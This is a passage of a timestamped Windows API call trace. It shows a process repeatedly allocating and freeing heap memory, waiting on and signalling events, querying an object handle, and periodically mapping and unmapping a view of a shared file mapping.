(hEvent=0xe0) returned 1 [0094.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.108] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.108] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.108] ResetEvent (hEvent=0xdc) returned 1 [0094.108] SetEvent (hEvent=0xe0) returned 1 [0094.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.109] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.109] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.109] ResetEvent (hEvent=0xdc) returned 1 [0094.109] SetEvent (hEvent=0xe0) returned 1 [0094.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.109] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.110] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.110] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.110] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.110] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.110] ResetEvent (hEvent=0xdc) returned 1 [0094.110] SetEvent (hEvent=0xe0) returned 1 [0094.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.110] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.111] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.111] ResetEvent (hEvent=0xdc) returned 1 [0094.111] SetEvent (hEvent=0xe0) returned 1 [0094.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.111] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.112] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.112] ResetEvent (hEvent=0xdc) returned 1 [0094.112] SetEvent (hEvent=0xe0) returned 1 [0094.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.112] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.112] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.113] ResetEvent (hEvent=0xdc) returned 1 [0094.113] SetEvent (hEvent=0xe0) returned 1 [0094.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.113] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.113] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.113] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.113] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.113] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.113] ResetEvent (hEvent=0xdc) returned 1 [0094.114] SetEvent (hEvent=0xe0) returned 1 [0094.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.114] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.114] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.114] ResetEvent (hEvent=0xdc) returned 1 [0094.114] SetEvent (hEvent=0xe0) returned 1 [0094.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.115] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.115] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.115] ResetEvent (hEvent=0xdc) returned 1 [0094.115] SetEvent (hEvent=0xe0) returned 1 [0094.115] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.116] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.116] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.116] ResetEvent (hEvent=0xdc) returned 1 [0094.116] SetEvent (hEvent=0xe0) returned 1 [0094.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.116] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.117] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.117] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.117] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.117] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.117] ResetEvent (hEvent=0xdc) returned 1 [0094.117] SetEvent (hEvent=0xe0) returned 1 [0094.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.117] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.118] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.118] ResetEvent (hEvent=0xdc) returned 1 [0094.118] SetEvent (hEvent=0xe0) returned 1 [0094.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.118] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.119] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.119] ResetEvent (hEvent=0xdc) returned 1 [0094.119] SetEvent (hEvent=0xe0) returned 1 [0094.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.119] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.120] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.120] ResetEvent (hEvent=0xdc) returned 1 [0094.120] SetEvent (hEvent=0xe0) returned 1 [0094.120] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.120] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.120] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.120] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.121] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.121] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.121] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.121] ResetEvent (hEvent=0xdc) returned 1 [0094.121] SetEvent (hEvent=0xe0) returned 1 [0094.121] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.121] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.121] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.121] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.122] ResetEvent (hEvent=0xdc) returned 1 [0094.122] SetEvent (hEvent=0xe0) returned 1 [0094.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.122] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.122] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.122] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.122] ResetEvent (hEvent=0xdc) returned 1 [0094.122] SetEvent (hEvent=0xe0) returned 1 [0094.122] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.123] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.123] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.123] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.123] ResetEvent (hEvent=0xdc) returned 1 [0094.123] SetEvent (hEvent=0xe0) returned 1 [0094.123] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.124] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.124] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.124] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.124] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.124] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.124] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.124] ResetEvent (hEvent=0xdc) returned 1 [0094.124] SetEvent (hEvent=0xe0) returned 1 [0094.124] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.124] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.125] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.125] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.125] ResetEvent (hEvent=0xdc) returned 1 [0094.125] SetEvent (hEvent=0xe0) returned 1 [0094.125] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.125] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.126] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.126] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.126] ResetEvent (hEvent=0xdc) returned 1 [0094.126] SetEvent (hEvent=0xe0) returned 1 [0094.126] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.126] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.127] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.127] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.127] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.127] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.127] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.127] ResetEvent (hEvent=0xdc) returned 1 [0094.127] SetEvent (hEvent=0xe0) returned 1 [0094.127] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.127] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.128] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.128] ResetEvent (hEvent=0xdc) returned 1 [0094.128] SetEvent (hEvent=0xe0) returned 1 [0094.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.128] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.128] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.128] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.129] ResetEvent (hEvent=0xdc) returned 1 [0094.129] SetEvent (hEvent=0xe0) returned 1 [0094.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.129] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.129] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.129] ResetEvent (hEvent=0xdc) returned 1 [0094.129] SetEvent (hEvent=0xe0) returned 1 [0094.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.130] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.130] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.130] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.130] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.130] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.130] ResetEvent (hEvent=0xdc) returned 1 [0094.130] SetEvent (hEvent=0xe0) returned 1 [0094.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.131] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.131] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.131] ResetEvent (hEvent=0xdc) returned 1 [0094.131] SetEvent (hEvent=0xe0) returned 1 [0094.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.132] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.132] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.132] ResetEvent (hEvent=0xdc) returned 1 [0094.132] SetEvent (hEvent=0xe0) returned 1 [0094.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.132] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.133] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.133] ResetEvent (hEvent=0xdc) returned 1 [0094.133] SetEvent (hEvent=0xe0) returned 1 [0094.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.133] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.134] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.134] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.134] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.134] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.134] ResetEvent (hEvent=0xdc) returned 1 [0094.134] SetEvent (hEvent=0xe0) returned 1 [0094.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.134] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.135] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.135] ResetEvent (hEvent=0xdc) returned 1 [0094.135] SetEvent (hEvent=0xe0) returned 1 [0094.135] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.135] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.135] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.135] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.136] ResetEvent (hEvent=0xdc) returned 1 [0094.136] SetEvent (hEvent=0xe0) returned 1 [0094.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.136] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.136] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.136] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.136] ResetEvent (hEvent=0xdc) returned 1 [0094.136] SetEvent (hEvent=0xe0) returned 1 [0094.136] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.137] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.137] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.137] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0094.137] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0094.137] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0094.137] ResetEvent (hEvent=0xdc) returned 1 [0094.137] SetEvent (hEvent=0xe0) returned 1 [0094.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.138] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 